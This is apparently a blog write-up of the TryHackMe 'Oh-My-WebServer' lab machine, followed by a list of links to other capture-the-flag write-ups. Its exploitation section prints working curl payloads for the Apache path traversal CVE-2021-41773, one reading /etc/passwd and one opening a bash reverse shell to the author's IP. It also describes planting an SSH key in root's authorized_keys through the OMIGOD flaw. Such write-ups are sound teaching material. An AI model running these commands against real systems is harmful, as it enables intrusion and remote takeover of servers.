Oh-My-WebServer TryHackMe Writeup

Scanning
We run nmap on all ports with scripts and software versions.

Enumeration
We access the website and find this page of an active web server:

We launch dirsearch to search for existing directories or files that may be relevant for other attacks.

Exploitation
Exploited vulnerability CVE-2021-41773
PoC
curl -v 'http://ohmyweb.thm/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"

Reverse shell
curl -v 'http://ohmyweb.thm/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.8.246.129/443 0>&1' -H "Content-Type: text/plain"

Attack Machine

It looks like we are on a docker machine and we will need to exit the docker and connect to the host machine.
Privilege Escalation
There is a script in “/tmp”

Exploit: https://github.com/midoxnet/CVE-2021-38647
PoC

We list the root directory, we could “cheat” and read the flag directly, but the idea is to exploit the vulnerability and get privilege escalation as root.

We see that the “id_rsa” file does not exist, but the “authorized_keys” file does exist, remember that the machine has the SSH service open, so we will take advantage of the vulnerability to transfer our public key to the file and enter by SSH with the “root” user.

We put our public key in the file “authorized_keys” exploiting the vulnerability “OMIGOD”.

We connect via SSH with our private key and read the root flag.

I almost forgot! We still need to identify the user flag, let’s do a find in the root directory and we will get it easily.

Sigue leyendo
- Rabbit TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -Pn...
- Robots TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: -p- --min-rate 5000 -Pn -sVC...
- Billing TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -Pn...
- Cicada HackTheBox Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- -sVC --min-rate 500...
- Trickster HackTheBox Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -s...
- EscapeTwo HackTheBox Writeup
- Smol TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -s...
- Silver Platter TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -s...
- MonitorsThree HackTheBox Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: nmap -p- --min-rate 5000 -s...
- Lookup TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC --min-rat...
- Whiterose TryHackMe Writeup Reconocimiento La máquina está basada en un capítulo de la serie Mr.Robot, empezamos con unas credenciales, pero no...
- Mountaineer TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC --min-rat...
- Backtrack TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC --min-rat...
- Pyrat TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC --min-rat...
- The London Bridge TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC --min-rat...
- New York Flankees TryHackMe Writeup Reconocimiento Lanzamos nmap a todos los puertos, con scripts y versiones de software: > nmap -p- -sVC 10.10.155...
- Gen VulNyx Writeup Reconocimiento Lanzamos un nmap con scripts y versiones de programas: > nmap -p- -sVC --min-rate 5000 -Pn -n 19...
- Umbrella TryHackMe Writeup Reconocimiento Nota: Añadí la dirección IP en mi fichero hosts para utilizar el dominio. (esto es opcional) Lanzam...
- Valley TryHackMe Writeup Scanning We scan the open ports with the nmap tool with scripts and software versions. nmap -p22,80,37370 10.10.14...
- Weasel TryHackMe Writeup Scanning We scan the open ports with the nmap tool with scripts and software versions. > nmap -sVC 10.10.81.101...
- Prioritise TryHackMe Writeup Scanning We scan the open ports with the nmap tool with scripts and software versions. > nmap -sVC -p- --min-ra...
- Capture TryHackMe Writeup Scanning We scan the open ports with the nmap tool with scripts and software versions. > nmap -sVC -p- --min-ra...
- BroScience HackTheBox Writeup Scanning We launch nmap tool with scripts and versions on all ports. PORT STATE SERVICE VERSION 22/tcp open ...
- UpDown HackTheBox Writeup Scanning We scan with nmap to all ports, with scripts and software versions:: Enumeration We access the web r...
- Shoppy HackTheBox Writeup Scanning We performed an nmap scan of all ports, including scripts and software versions. We list the domain “shop...
- Faculty HackTheBox Writeup
- Scrambled HackTheBox Writeup Scanning We run nmap tool on ports 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 1433, 3268, 3269, with script an...
- StreamIO HackTheBox Writeup
- Talkative HackTheBox Writeup Scanning We run nmap on ports with scripts and software versions. Enumeration Add the domain “talkative.htb” in ...
- Late HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the web site and fin...
- Catch HackTheBox Writeup
- Acute HackTheBox Writeup Scanning We run nmap on port 443 with scripts and software versions. Enumeration We put the subdomain name “atse...
- RouterSpace HackTheBox Writeup Scanning We run nmap on 22 and 80 ports with scripts and software versions. Enumeration We access port 80, we se...
- Undetected HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the website and revi...
- Phoenix HackTheBox Writeup Scanning We list previously with a quick scan to all ports with nmap, we will obtain the following ports to discove...
- Paper HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the web resource on ...
- Meta HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. We see that the web service redirects to the ...
- Timing HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the website, try def...
- AdmirerToo HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the website, review ...
- Pandora HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the web service, enu...
- Plotted-LMS TryHackMe Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration I checked all HTTP services, b...
- Ollie TryHackMe Writeup
- Shibboleth HackTheBox Writeup
- Aratus TryHackMe Writeup
- Secret HackTheBox Writeup
- Flatline TryHackMe Writeup
- Driver HackTheBox Writeup
- Bolt HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We put the subdomain in the /e...
- Armageddon HackTheBox Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the web resource, we...
- Lumberjack-Turtle TryHackMe Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access the site, we find a ...
- BountyHunter HackTheBox Writeup
- Minotaurs-Labyrinth TryHackMe Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration In the nmap, we see that there...
- zeno TryHackMe Writeup
- IDE TryHackMe Writeup Scanning We run nmap on all ports with scripts and software versions. Enumeration We access to website, found Ap...
- Empline TryHackMe Writeup
- Knife HackTheBox Writeup
- Couch TryHackMe Writeup
- Undiscovered TryHackMe Writeup
- Mnemonic TryHackMe Writeup
- EnterPrize TryHackMe Writeup
- Fusion-Corp TryHackMe Writeup
- Mustacchio TryHackMe Writeup
- The-Blob-Blog TryHackMe Writeup
- KoTH-Hackers TryHackMe Writeup
- KoTH-Food-CTF TryHackMe Writeup
- Jack-of-All-Trades TryHackMe Writeup
- ConvertMyVideo TryHackMe Writeup
- CatPictures TryHackMe Writeup
- GoldenEye TryHackMe Writeup
- USTOUN TryHackMe Writeup
- Bookstore TryHackMe Writeup
- DC5 Offensive Security Writeup Scanning We launch nmap with scripts and software versions on all ports. Enumeration We access the website, rev...
- Harder TryHackMe Writeup Scanning We scan the open ports with the nmap tool with scripts and software versions. Enumeration We access the...